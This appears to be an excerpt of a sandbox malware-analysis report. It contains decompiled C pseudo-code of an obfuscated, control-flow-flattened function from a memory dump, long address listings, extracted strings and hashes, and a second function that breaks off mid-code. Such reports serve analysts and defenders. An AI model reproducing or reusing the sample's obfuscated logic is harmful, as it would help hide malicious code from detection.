				_t832 =  &_v428; // 0x3c482c
				_v428 =  *_t832 * 0x2f;
				_v428 = _v428 + 0xffff6f9d;
				_v428 = _v428 | 0x8da675c7;
				_v428 = _v428 ^ 0x8fb5367e;
				_v164 = 0x73eaaf;
				_t1262 = 0x7b;
				_v164 = _v164 / _t1262;
				_v164 = _v164 ^ 0x013494eb;
				_v508 = 0xaea7a7;
				_v508 = _v508 + 0xffffad05;
				_v508 = _v508 | 0x2fb01782;
				_v508 = _v508 + 0xdf59;
				_v508 = _v508 ^ 0x2fbf1017;
				_v348 = 0x6a0001;
				_v348 = _v348 >> 8;
				_t1263 = 0x1e;
				_t1350 = _v292;
				_t1240 = _v292;
				_v348 = _v348 * 0x56;
				_v348 = _v348 ^ 0x00239c01;
				_v312 = 0x718fb1;
				_v312 = _v312 ^ 0x0a0922bb;
				_v312 = _v312 + 0xffff9da2;
				_v312 = _v312 ^ 0x0a78450c;
				_v184 = 0xbc43da;
				_v184 = _v184 | 0x65dbfe97;
				_v184 = _v184 ^ 0x65ffe09f;
				_v584 = 0x19ebc;
				_v584 = _v584 << 0xd;
				_v584 = _v584 * 0x6e;
				_v584 = _v584 | 0x20e1f71e;
				_v584 = _v584 ^ 0x66f44cbe;
				_v556 = 0x102963;
				_v556 = _v556 << 1;
				_v556 = _v556 + 0xffff27ea;
				_v556 = _v556 >> 8;
				_v556 = _v556 ^ 0x000da4da;
				_v412 = 0x8d39f9;
				_v412 = _v412 ^ 0x304d710d;
				_v412 = _v412 + 0x1676;
				_v412 = _v412 ^ 0x30ceab4a;
				_v548 = 0xb36dd5;
				_v548 = _v548 << 1;
				_v548 = _v548 + 0xffff009c;
				_v548 = _v548 ^ 0xc2df1814;
				_v548 = _v548 ^ 0xc3b43072;
				_v400 = 0x83e780;
				_v400 = _v400 / _t1263;
				_v400 = _v400 + 0xffff5fe0;
				_v400 = _v400 ^ 0x0003b045;
				_v392 = 0xcc2700;
				_v392 = _v392 + 0x6318;
				_t1264 = 0x50;
				_v392 = _v392 / _t1264;
				_v392 = _v392 ^ 0x000264e6;
				goto L1;
				do {
					while(1) {
						L1:
						_t1388 = _t1353 - 0x9625c26;
						if(_t1388 > 0) {
							break;
						}
						if(_t1388 == 0) {
							_t1161 = E007B645F( &_v92, _v596, _v424, _v156, _v420,  &_v108);
							_t1383 = _t1383 + 0x10;
							asm("sbb esi, esi");
							_t1353 = ( ~_t1161 & 0xf38ca8a6) + 0xf16eb84;
							continue;
						}
						_t1389 = _t1353 - 0x5085634;
						if(_t1389 > 0) {
							__eflags = _t1353 - 0x743bbd3;
							if(__eflags > 0) {
								__eflags = _t1353 - 0x7d9812c;
								if(_t1353 == 0x7d9812c) {
									__eflags = E007BE7DA();
									if(__eflags == 0) {
										_t1165 = E007B902C();
										asm("sbb esi, esi");
										_t1353 = ( ~_t1165 & 0xfa09740f) + 0xc68510e;
										continue;
									}
									_t1167 = E007B902C();
									asm("sbb esi, esi");
									_t1369 =  ~_t1167 & 0xfa79cff4;
									L53:
									_t1353 = _t1369 + 0xd96f0c7;
									continue;
								}
								__eflags = _t1353 - 0x810c0bb;
								if(_t1353 == 0x810c0bb) {
									_t1167 = E007A1DF9();
									asm("sbb esi, esi");
									_t1369 =  ~_t1167 & 0xf771656d;
									__eflags = _t1369;
									goto L53;
								}
								__eflags = _t1353 - 0x8d7d650;
								if(_t1353 == 0x8d7d650) {
									_t1167 = E007BC772();
									L114:
									return _t1167;
								}
								__eflags = _t1353 - 0x94a2b75;
								if(_t1353 != 0x94a2b75) {
									goto L109;
								}
								_t1278 = _v364;
								_t1167 = E007AF699(_t1278, _v100, _v472, _v144, _v220);
								_t1383 = _t1383 + 0xc;
								_t1353 = 0xf16eb84;
								continue;
							}
							if(__eflags == 0) {
								_t1167 = _v164;
								_t1353 = 0xc313b49;
								_v76 = _t1167;
								continue;
							}
							__eflags = _t1353 - 0x50ec05a;
							if(_t1353 == 0x50ec05a) {
								_t1167 = E007A2176();
								_t1353 = 0x24c641b;
								continue;
							}
							__eflags = _t1353 - 0x5c746ce;
							if(_t1353 == 0x5c746ce) {
								_t1167 = E007B2DE9(_t1278);
								goto L114;
							}
							__eflags = _t1353 - 0x671c51d;
							if(_t1353 == 0x671c51d) {
								_t1167 = E007C2D4F();
								_t1353 = 0xc68510e;
								continue;
							}
							__eflags = _t1353 - 0x6e9da8a;
							if(_t1353 != 0x6e9da8a) {
								goto L109;
							}
							_t1167 = E007B56A9();
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0xbae568e;
							continue;
						}
						if(_t1389 == 0) {
							_t1167 = E007AB12E(_v436, _v292, _v160, _v304);
							goto L114;
						}
						_t1390 = _t1353 - 0x411ce06;
						if(_t1390 > 0) {
							__eflags = _t1353 - 0x414ffd1;
							if(_t1353 == 0x414ffd1) {
								__eflags = _t1350 - _v244;
								if(_t1350 == _v244) {
									L35:
									_t1353 = _t1240;
									goto L109;
								}
								_t1167 = E007C37B6(_v480, _v236, _v332, _v172, E007BD4AE(), _t1350);
								_t1383 = _t1383 + 0x10;
								__eflags = _t1167 - _v132;
								if(__eflags == 0) {
									_t1167 = E007B6B91();
									goto L35;
								}
								_t1353 = 0x5c746ce;
								continue;
							}
							__eflags = _t1353 - 0x4c34997;
							if(_t1353 == 0x4c34997) {
								_t1167 = E007A635F();
								_v72 = _t1167;
								_t1353 = 0x411ce06;
								continue;
							}
							__eflags = _t1353 - 0x4c43855;
							if(_t1353 == 0x4c43855) {
								_t1167 = E007B3ABE();
								_t1353 = 0xbc300ba;
								continue;
							}
							__eflags = _t1353 - 0x4ea5811;
							if(__eflags != 0) {
								goto L109;
							}
							_t1167 = E007C0BF1(__eflags);
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0x15a9200;
							continue;
						}
						if(_t1390 == 0) {
							_t1167 = E007C27E2();
							_v44 = _t1167;
							_t1353 = 0x743bbd3;
							continue;
						}
						if(_t1353 == 0x15a9200) {
							_t1167 = E007AF022();
							_t1353 = 0xf17c585;
							continue;
						}
						if(_t1353 == 0x24c641b) {
							_v116 = E007B8518(_v316, _v404, __eflags,  &_v112, _v568, 0x7a1000);
							_v124 = E007B8518(_v268, _v496, __eflags,  &_v120, _v188, 0x7a1060);
							_t1197 = E007A5DC3(_v396,  &_v116, _v560,  &_v124);
							asm("sbb esi, esi");
							_t1353 = ( ~_t1197 & 0x01f8303b) + 0xda639e1;
							E007B2EED(_v128, _v552, _v432, _v124);
							_t1167 = E007B2EED(_v488, _v388, _v340, _v116);
							_t1383 = _t1383 + 0x30;
							goto L109;
						}
						if(_t1353 == 0x2a3942a) {
							_t1167 = E007B4DC5(_v276, _v464, _v348, E007BD4AE(),  &_v108,  &_v100, _v576);
							_t1383 = _t1383 + 0x14;
							asm("sbb esi, esi");
							_t1353 = ( ~_t1167 & 0x000968d2) + 0x2a3942a;
							continue;
						}
						if(_t1353 != 0x2acfcfc) {
							goto L109;
						}
						_t1204 = E007A597D( &_v40, _v260,  &_v100, _v416);
						_pop(_t1278);
						if(_t1204 != 0) {
							_t1167 = _v8;
							__eflags = _t1167 - 8;
							if(__eflags != 0) {
								__eflags = _t1167;
								if(__eflags == 0) {
									L18:
									_t1353 = 0xabc2d6d;
									continue;
								}
								__eflags = _t1167 - 1;
								if(__eflags != 0) {
									L13:
									_t1353 = 0x94a2b75;
									continue;
								}
								goto L18;
							}
							_t1353 = 0x8d7d650;
							continue;
						}
						_push(_t1278);
						_push(_v584);
						_push(_t1278);
						_t1278 = _v412;
						_t1167 = E007B2CCF(_t1278, _t1278);
						_t1383 = _t1383 + 0x10;
						_t1350 = _t1167;
						_t1240 = 0xe75263b;
						goto L13;
					}
					__eflags = _t1353 - 0xc68510e;
					if(__eflags > 0) {
						__eflags = _t1353 - 0xf17c585;
						if(__eflags > 0) {
							__eflags = _t1353 - 0xf2d358e;
							if(_t1353 == 0xf2d358e) {
								_t1157 = E007B902C();
								__eflags = _t1157;
								if(_t1157 == 0) {
									_t1167 = E007A3E3B();
								}
								_t1353 = 0x94a2b75;
								goto L109;
							}
							__eflags = _t1353 - 0xf885e3b;
							if(__eflags == 0) {
								_v92 = E007A7A75();
								_t1353 = 0x4c34997;
								goto L1;
							}
							__eflags = _t1353 - 0xf9e6a1c;
							if(_t1353 != 0xf9e6a1c) {
								goto L109;
							}
							E007A60BA();
							_t1240 = 0xc2716a1;
							_push(_t1278);
							_push(_v312);
							_push(_t1278);
							_t1278 = _v184;
							_t1167 = E007B2CCF(_t1278, _t1278);
							_t1383 = _t1383 + 0x10;
							_t1350 = _t1167;
							L95:
							_t1353 = 0x414ffd1;
							goto L1;
						}
						if(__eflags == 0) {
							_t1167 = E007A8112();
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0xa4cd57e;
							goto L1;
						}
						__eflags = _t1353 - 0xce7cb5b;
						if(_t1353 == 0xce7cb5b) {
							E007B89DA();
							_t1167 = E007B902C();
							asm("sbb esi, esi");
							_t1353 = ( ~_t1167 & 0xf901379b) + 0xbc300ba;
							goto L1;
						}
						__eflags = _t1353 - 0xd96f0c7;
						if(_t1353 == 0xd96f0c7) {
							_t1167 = E007BAEAE();
							_t1353 = 0x50ec05a;
							goto L1;
						}
						__eflags = _t1353 - 0xe75263b;
						if(_t1353 == 0xe75263b) {
							_t1167 = E007B75E9(_v344, _v484,  &_v52);
							_pop(_t1278);
							_t1353 = 0x9625c26;
							goto L1;
						}
						__eflags = _t1353 - 0xf16eb84;
						if(_t1353 != 0xf16eb84) {
							goto L109;
						}
						_t1278 = _v224;
						_t1167 = E007AF699(_t1278, _v108, _v232, _v492, _v352);
						_t1383 = _t1383 + 0xc;
						goto L95;
					}
					if(__eflags == 0) {
						_t1167 = E007BC145();
						_t1353 = 0xb042b16;
						goto L1;
					}
					__eflags = _t1353 - 0xbae568e;
					if(__eflags > 0) {
						__eflags = _t1353 - 0xbc300ba;
						if(_t1353 == 0xbc300ba) {
							_t1167 = E007BCE94();
							_t1353 = 0x5085634;
							goto L1;
						}
						__eflags = _t1353 - 0xc2716a1;
						if(_t1353 == 0xc2716a1) {
							_v68 = E007B5B73();
							_t1167 = E007B4268(_v248, _v256, _t1216);
							_pop(_t1278);
							_v64 = _t1167;
							_t1353 = 0xf885e3b;
							goto L1;
						}
						__eflags = _t1353 - 0xc313b49;
						if(__eflags == 0) {
							_t1167 = _v508;
							_t1353 = 0xe75263b;
							_v88 = _t1167;
							goto L1;
						}
						__eflags = _t1353 - 0xc58f524;
						if(_t1353 != 0xc58f524) {
							goto L109;
						}
						_t1167 = E007A8D59();
						__eflags = _t1167;
						if(__eflags == 0) {
							goto L114;
						}
						_t1353 = 0xce7cb5b;
						goto L1;
					}
					if(__eflags == 0) {
						_t1167 = E007A196D();
						asm("sbb esi, esi");
						_t1353 = ( ~_t1167 & 0x032aa9ea) + 0x7d9812c;
						goto L1;
					}
					__eflags = _t1353 - 0xa4cd57e;
					if(_t1353 == 0xa4cd57e) {
						_t1167 = E007A60BA();
						__eflags = _t1167;
						if(__eflags == 0) {
							goto L114;
						}
						_t1353 = 0x6e9da8a;
						goto L1;
					}
					__eflags = _t1353 - 0xaa07b46;
					if(__eflags == 0) {
						_t1353 = 0x4ea5811;
						goto L1;
					}
					__eflags = _t1353 - 0xabc2d6d;
					if(_t1353 == 0xabc2d6d) {
						_t1167 = E007A39C3(_v136,  &_v32);
						_pop(_t1278);
						__eflags = _t1167;
						if(__eflags == 0) {
							_t1167 = _v8;
							__eflags = _t1167;
							if(_t1167 == 0) {
								_push(_t1278);
								_push(_v556);
								_push(_t1278);
								_t1278 = _v548;
								_t1350 = E007B2CCF(_t1278, _t1278);
								_t1383 = _t1383 + 0x10;
								_t1167 = _v8;
							}
							__eflags = _t1167 - 1;
							if(__eflags == 0) {
								_push(_t1278);
								_push(_v400);
								_push(_t1278);
								_t1278 = _v392;
								_t1167 = E007B2CCF(_t1278, _t1278);
								_t1383 = _t1383 + 0x10;
								_t1350 = _t1167;
							}
						} else {
							_t1350 = _v196;
						}
						_t1240 = 0xe75263b;
						_t1353 = 0xf2d358e;
						goto L1;
					}
					__eflags = _t1353 - 0xb042b16;
					if(_t1353 != 0xb042b16) {
						goto L109;
					}
					_t1167 = E007BBA18();
					_t1353 = 0xc58f524;
					goto L1;
					L109:
					__eflags = _t1353 - 0xda639e1;
				} while (__eflags != 0);
				goto L114;
			}

0x007b91fd
0x007b9207
0x007b9214
0x007b921f
0x007b922a
0x007b9235
0x007b9240
0x007b924b
0x007b9256
0x007b925d
0x007b9268
0x007b9270
0x007b9278
0x007b9280
0x007b9288
0x007b9290
0x007b929b
0x007b92a6
0x007b92b1
0x007b92bc
0x007b92c7
0x007b92d2
0x007b92dd
0x007b92e8
0x007b92f3
0x007b92fe
0x007b9309
0x007b9311
0x007b931c
0x007b932f
0x007b9336
0x007b9344
0x007b9349
0x007b9352
0x007b935d
0x007b9369
0x007b936c
0x007b9370
0x007b9378
0x007b937d
0x007b9385
0x007b938d
0x007b9392
0x007b939a
0x007b93a2
0x007b93aa
0x007b93b5
0x007b93c8
0x007b93cf
0x007b93da
0x007b93e5
0x007b93ed
0x007b93f8
0x007b9400
0x007b9405
0x007b940d
0x007b9415
0x007b941d
0x007b9425
0x007b942a
0x007b9437
0x007b943b
0x007b9443
0x007b944e
0x007b9459
0x007b9464
0x007b946f
0x007b9486
0x007b9489
0x007b9490
0x007b949b
0x007b94a6
0x007b94b9
0x007b94c0
0x007b94cb
0x007b94d6
0x007b94de
0x007b94e6
0x007b94f1
0x007b94fc
0x007b9507
0x007b950f
0x007b951a
0x007b9530
0x007b9537
0x007b9542
0x007b9557
0x007b955a
0x007b9566
0x007b956a
0x007b9572
0x007b957d
0x007b9585
0x007b958c
0x007b9597
0x007b95aa
0x007b95ab
0x007b95b2
0x007b95bd
0x007b95c8
0x007b95d3
0x007b95db
0x007b95e6
0x007b95f1
0x007b95fc
0x007b9604
0x007b960f
0x007b961a
0x007b9625
0x007b9630
0x007b963b
0x007b9646
0x007b9654
0x007b9658
0x007b9660
0x007b9665
0x007b966d
0x007b9680
0x007b9687
0x007b9692
0x007b969d
0x007b96b0
0x007b96b7
0x007b96c2
0x007b96cd
0x007b96d8
0x007b96e3
0x007b96f0
0x007b96fb
0x007b9706
0x007b9711
0x007b971c
0x007b9730
0x007b9735
0x007b973e
0x007b9749
0x007b9754
0x007b975f
0x007b976a
0x007b9775
0x007b9780
0x007b9788
0x007b9793
0x007b979b
0x007b97a6
0x007b97ae
0x007b97bb
0x007b97be
0x007b97ca
0x007b97ce
0x007b97d6
0x007b97e1
0x007b97ec
0x007b97f7
0x007b9802
0x007b980d
0x007b981f
0x007b9824
0x007b9834
0x007b9839
0x007b9842
0x007b984d
0x007b9858
0x007b9863
0x007b986b
0x007b9876
0x007b987e
0x007b9883
0x007b9884
0x007b9888
0x007b9890
0x007b9898
0x007b98a0
0x007b98b4
0x007b98bb
0x007b98c6
0x007b98ce
0x007b98d6
0x007b98db
0x007b98e3
0x007b98eb
0x007b98f6
0x007b9901
0x007b990e
0x007b9922
0x007b9927
0x007b992e
0x007b9939
0x007b9944
0x007b994c
0x007b9954
0x007b995c
0x007b9961
0x007b9969
0x007b9974
0x007b997c
0x007b9987
0x007b9997
0x007b999d
0x007b99a5
0x007b99ad
0x007b99b5
0x007b99c0
0x007b99cb
0x007b99d6
0x007b99de
0x007b99e9
0x007b99f4
0x007b9a07
0x007b9a0a
0x007b9a11
0x007b9a1c
0x007b9a27
0x007b9a3a
0x007b9a41
0x007b9a49
0x007b9a54
0x007b9a5f
0x007b9a72
0x007b9a79
0x007b9a84
0x007b9a9a
0x007b9aa1
0x007b9aac
0x007b9ab7
0x007b9ac2
0x007b9acd
0x007b9ad8
0x007b9ae3
0x007b9aee
0x007b9af9
0x007b9b04
0x007b9b0f
0x007b9b1a
0x007b9b2c
0x007b9b2f
0x007b9b36
0x007b9b41
0x007b9b4c
0x007b9b54
0x007b9b5f
0x007b9b6a
0x007b9b75
0x007b9b80
0x007b9b8b
0x007b9b96
0x007b9ba1
0x007b9bac
0x007b9bb7
0x007b9bc2
0x007b9bcf
0x007b9bda
0x007b9be2
0x007b9bed
0x007b9bf8
0x007b9c03
0x007b9c0e
0x007b9c19
0x007b9c24
0x007b9c2f
0x007b9c37
0x007b9c3f
0x007b9c4a
0x007b9c5e
0x007b9c63
0x007b9c6c
0x007b9c77
0x007b9c82
0x007b9c8a
0x007b9c95
0x007b9ca0
0x007b9cab
0x007b9cb6
0x007b9cbe
0x007b9cc6
0x007b9cd1
0x007b9cd9
0x007b9ce1
0x007b9ce6
0x007b9cee
0x007b9cf6
0x007b9d01
0x007b9d0c
0x007b9d17
0x007b9d22
0x007b9d2d
0x007b9d38
0x007b9d43
0x007b9d4e
0x007b9d56
0x007b9d61
0x007b9d6c
0x007b9d74
0x007b9d7c
0x007b9d84
0x007b9d8c
0x007b9d94
0x007b9d9f
0x007b9daa
0x007b9db5
0x007b9dc0
0x007b9dc8
0x007b9dd3
0x007b9dde
0x007b9de9
0x007b9df1
0x007b9df6
0x007b9dfe
0x007b9e03
0x007b9e0b
0x007b9e1d
0x007b9e20
0x007b9e27
0x007b9e32
0x007b9e3d
0x007b9e45
0x007b9e50
0x007b9e5b
0x007b9e66
0x007b9e71
0x007b9e7c
0x007b9e87
0x007b9e92
0x007b9ea8
0x007b9ead
0x007b9eb6
0x007b9ec1
0x007b9ec9
0x007b9ed1
0x007b9ed9
0x007b9ee1
0x007b9ee9
0x007b9ef4
0x007b9efc
0x007b9f07
0x007b9f12
0x007b9f1d
0x007b9f28
0x007b9f33
0x007b9f3e
0x007b9f49
0x007b9f54
0x007b9f61
0x007b9f64
0x007b9f68
0x007b9f75
0x007b9f79
0x007b9f81
0x007b9f8c
0x007b9f97
0x007b9fa2
0x007b9fb2
0x007b9fb6
0x007b9fc2
0x007b9fc5
0x007b9fc9
0x007b9fd1
0x007b9fd9
0x007b9fe6
0x007b9fea
0x007b9ff2
0x007b9ffd
0x007ba008
0x007ba010
0x007ba01b
0x007ba023
0x007ba028
0x007ba02d
0x007ba035
0x007ba03d
0x007ba045
0x007ba04d
0x007ba055
0x007ba05d
0x007ba065
0x007ba070
0x007ba07b
0x007ba086
0x007ba091
0x007ba099
0x007ba0a4
0x007ba0af
0x007ba0c2
0x007ba0c9
0x007ba0d1
0x007ba0dc
0x007ba0f2
0x007ba0f7
0x007ba100
0x007ba10b
0x007ba116
0x007ba121
0x007ba12c
0x007ba137
0x007ba142
0x007ba14d
0x007ba158
0x007ba163
0x007ba16e
0x007ba179
0x007ba184
0x007ba18f
0x007ba1a2
0x007ba1a5
0x007ba1ac
0x007ba1b7
0x007ba1c2
0x007ba1cd
0x007ba1d8
0x007ba1e0
0x007ba1ed
0x007ba1f1
0x007ba1f9
0x007ba201
0x007ba20c
0x007ba217
0x007ba21f
0x007ba22a
0x007ba232
0x007ba23a
0x007ba242
0x007ba246
0x007ba24e
0x007ba259
0x007ba264
0x007ba26f
0x007ba27a
0x007ba285
0x007ba290
0x007ba298
0x007ba2a3
0x007ba2b9
0x007ba2c0
0x007ba2cb
0x007ba2d6
0x007ba2e1
0x007ba2e8
0x007ba2f3
0x007ba305
0x007ba308
0x007ba30f
0x007ba31a
0x007ba325
0x007ba330
0x007ba33b
0x007ba346
0x007ba351
0x007ba359
0x007ba360
0x007ba36b
0x007ba376
0x007ba383
0x007ba397
0x007ba39c
0x007ba3a5
0x007ba3b5
0x007ba3bd
0x007ba3c5
0x007ba3cd
0x007ba3d5
0x007ba3dd
0x007ba3e8
0x007ba3f8
0x007ba3fb
0x007ba402
0x007ba409
0x007ba410
0x007ba41b
0x007ba426
0x007ba431
0x007ba43c
0x007ba447
0x007ba452
0x007ba45d
0x007ba468
0x007ba470
0x007ba47a
0x007ba47e
0x007ba486
0x007ba48e
0x007ba496
0x007ba49a
0x007ba4a2
0x007ba4a7
0x007ba4af
0x007ba4ba
0x007ba4c5
0x007ba4d0
0x007ba4db
0x007ba4e3
0x007ba4e7
0x007ba4ef
0x007ba4f7
0x007ba4ff
0x007ba515
0x007ba51c
0x007ba527
0x007ba532
0x007ba53d
0x007ba54f
0x007ba552
0x007ba559
0x007ba559
0x007ba564
0x007ba564
0x007ba564
0x007ba564
0x007ba56a
0x00000000
0x00000000
0x007ba570
0x007baa28
0x007baa2d
0x007baa34
0x007baa3c
0x00000000
0x007baa3c
0x007ba576
0x007ba57c
0x007ba896
0x007ba89c
0x007ba936
0x007ba93c
0x007ba9bf
0x007ba9c1
0x007ba9e4
0x007ba9ed
0x007ba9f5
0x00000000
0x007ba9f5
0x007ba9ca
0x007ba9d3
0x007ba9d5
0x007ba9ab
0x007ba9ab
0x00000000
0x007ba9ab
0x007ba93e
0x007ba944
0x007ba99a
0x007ba9a3
0x007ba9a5
0x007ba9a5
0x00000000
0x007ba9a5
0x007ba946
0x007ba94c
0x007bae59
0x007bae5e
0x007bae65
0x007bae65
0x007ba952
0x007ba958
0x00000000
0x00000000
0x007ba97a
0x007ba981
0x007ba986
0x007ba989
0x00000000
0x007ba989
0x007ba8a2
0x007ba91e
0x007ba925
0x007ba92a
0x00000000
0x007ba92a
0x007ba8a4
0x007ba8aa
0x007ba90f
0x007ba914
0x00000000
0x007ba914
0x007ba8ac
0x007ba8b2
0x007bae4b
0x00000000
0x007bae4b
0x007ba8b8
0x007ba8be
0x007ba8f5
0x007ba8fa
0x00000000
0x007ba8fa
0x007ba8c0
0x007ba8c6
0x00000000
0x00000000
0x007ba8d7
0x007ba8dc
0x007ba8de
0x00000000
0x00000000
0x007ba8e4
0x00000000
0x007ba8e4
0x007ba582
0x007bae3a
0x00000000
0x007bae3f
0x007ba588
0x007ba58e
0x007ba7b8
0x007ba7be
0x007ba838
0x007ba83f
0x007ba88f
0x007ba88f
0x00000000
0x007ba88f
0x007ba868
0x007ba86d
0x007ba870
0x007ba877
0x007ba88a
0x00000000
0x007ba88a
0x007ba879
0x00000000
0x007ba879
0x007ba7c0
0x007ba7c6
0x007ba822
0x007ba827
0x007ba82e
0x00000000
0x007ba82e
0x007ba7c8
0x007ba7ce
0x007ba805
0x007ba80a
0x00000000
0x007ba80a
0x007ba7d0
0x007ba7d6
0x00000000
0x00000000
0x007ba7e7
0x007ba7ec
0x007ba7ee
0x00000000
0x00000000
0x007ba7f4
0x00000000
0x007ba7f4
0x007ba594
0x007ba7a2
0x007ba7a7
0x007ba7ae
0x00000000
0x007ba7ae
0x007ba5a0
0x007ba78c
0x007ba791
0x00000000
0x007ba791
0x007ba5ac
0x007ba6d1
0x007ba6ff
0x007ba720
0x007ba742
0x007ba74a
0x007ba750
0x007ba771
0x007ba776
0x00000000
0x007ba776
0x007ba5b8
0x007ba68b
0x007ba690
0x007ba697
0x007ba69f
0x00000000
0x007ba69f
0x007ba5c4
0x00000000
0x00000000
0x007ba5e7
0x007ba5ed
0x007ba5f0
0x007ba62f
0x007ba636
0x007ba639
0x007ba645
0x007ba647
0x007ba64e
0x007ba64e
0x00000000
0x007ba64e
0x007ba649
0x007ba64c
0x007ba625
0x007ba625
0x00000000
0x007ba625
0x00000000
0x007ba64c
0x007ba63b
0x00000000
0x007ba63b
0x007ba60b
0x007ba60c
0x007ba610
0x007ba612
0x007ba619
0x007ba61e
0x007ba621
0x007ba623
0x00000000
0x007ba623
0x007baa47
0x007baa4d
0x007bac6a
0x007bac70
0x007bad69
0x007bad6f
0x007badf6
0x007badfb
0x007badfd
0x007bae06
0x007bae06
0x007bae0b
0x00000000
0x007bae0b
0x007bad71
0x007bad77
0x007badde
0x007bade5
0x00000000
0x007bade5
0x007bad79
0x007bad7f
0x00000000
0x00000000
0x007bad8c
0x007bad98
0x007badb2
0x007badb3
0x007badba
0x007badbc
0x007badc3
0x007badc8
0x007badcb
0x007bacc8
0x007bacc8
0x00000000
0x007bacc8
0x007bac76
0x007bad52
0x007bad57
0x007bad59
0x00000000
0x00000000
0x007bad5f
0x00000000
0x007bad5f
0x007bac7c
0x007bac82
0x007bad1c
0x007bad28
0x007bad31
0x007bad39
0x00000000
0x007bad39
0x007bac88
0x007bac8e
0x007bad06
0x007bad0b
0x00000000
0x007bad0b
0x007bac90
0x007bac92
0x007bace8
0x007baced
0x007bacee
0x00000000
0x007bacee
0x007bac94
0x007bac9a
0x00000000
0x00000000
0x007bacb9
0x007bacc0
0x007bacc5
0x00000000
0x007bacc5
0x007baa53
0x007bac5b
0x007bac60
0x00000000
0x007bac60
0x007baa59
0x007baa5f
0x007bab9b
0x007baba1
0x007bac3e
0x007bac43
0x00000000
0x007bac43
0x007baba7
0x007babad
0x007bac15
0x007bac1c
0x007bac21
0x007bac22
0x007bac29
0x00000000
0x007bac29
0x007babaf
0x007babb5
0x007babe8
0x007babec
0x007babee
0x00000000
0x007babee
0x007babb7
0x007babbd
0x00000000
0x00000000
0x007babd1
0x007babd6
0x007babd8
0x00000000
0x00000000
0x007babde
0x00000000
0x007babde
0x007baa65
0x007bab7f
0x007bab88
0x007bab90
0x00000000
0x007bab90
0x007baa6b
0x007baa71
0x007bab5d
0x007bab62
0x007bab64
0x00000000
0x00000000
0x007bab6a
0x00000000
0x007bab6a
0x007baa77
0x007baa7d
0x007bab4f
0x00000000
0x007bab4f
0x007baa83
0x007baa89
0x007baac0
0x007baac5
0x007baac6
0x007baac8
0x007baad3
0x007baada
0x007baadc
0x007baaf1
0x007baaf2
0x007baaf6
0x007baaf8
0x007bab01
0x007bab03
0x007bab06
0x007bab06
0x007bab0d
0x007bab10
0x007bab28
0x007bab29
0x007bab30
0x007bab32
0x007bab39
0x007bab3e
0x007bab41
0x007bab41
0x007baaca
0x007baaca
0x007baaca
0x007bab43
0x007bab45
0x00000000
0x007bab45
0x007baa8b
0x007baa91
0x00000000
0x00000000
0x007baa9b
0x007baaa0
0x00000000
0x007bae10
0x007bae10
0x007bae10
0x00000000

Strings

]p, xrefs: 007B940D
td, xrefs: 007B9DF6
&\b, xrefs: 007BACEE
u+J, xrefs: 007BA625
~c, xrefs: 007B97D6
CK, xrefs: 007B987E
fM6, xrefs: 007B9E32
u+J, xrefs: 007BA952
l?U, xrefs: 007B98EB
u+J, xrefs: 007BAE0B
,H<, xrefs: 007BA351
oC., xrefs: 007B9207
&\b, xrefs: 007BA564
&]^, xrefs: 007BA24E
@0, xrefs: 007B939A
*p, xrefs: 007B9658
[, xrefs: 007B9BC2
;, xrefs: 007B9F68
~/, xrefs: 007B95DB
jo, xrefs: 007B9F8C
8YNn, xrefs: 007B9235
qM0, xrefs: 007BA4BA
ll, xrefs: 007B9788
q, xrefs: 007B9268
Ao, xrefs: 007BA2C0

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: qM0$&\b$&\b$&]^$*p$,H<$8YNn$@0$Ao$CK$]p$fM6$jo$l?U$ll$oC.$td$u+J$u+J$u+J$~/$;$~c$[$q
API String ID: 0-640385374
Opcode ID: 80f815c4005a77306a2f0af2d9b1fffbb5c6ad9c70f606b1c94549a5a6634145
Instruction ID: e3fa7525b0d2e700f47da68204776519d7878bcf8180f6c0154e28641e3f6b27
Opcode Fuzzy Hash: 80f815c4005a77306a2f0af2d9b1fffbb5c6ad9c70f606b1c94549a5a6634145
Instruction Fuzzy Hash: E3D20271909380DBD3B8DF24C58A7DBBBE1BB84314F108A1DE5D996260DBB89949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAD380, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6EDAD380(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
				_v24 = E6EDB39D0;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6edfe128; // 0xd10000
				if(_t142 != 0) {
					L3:
					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
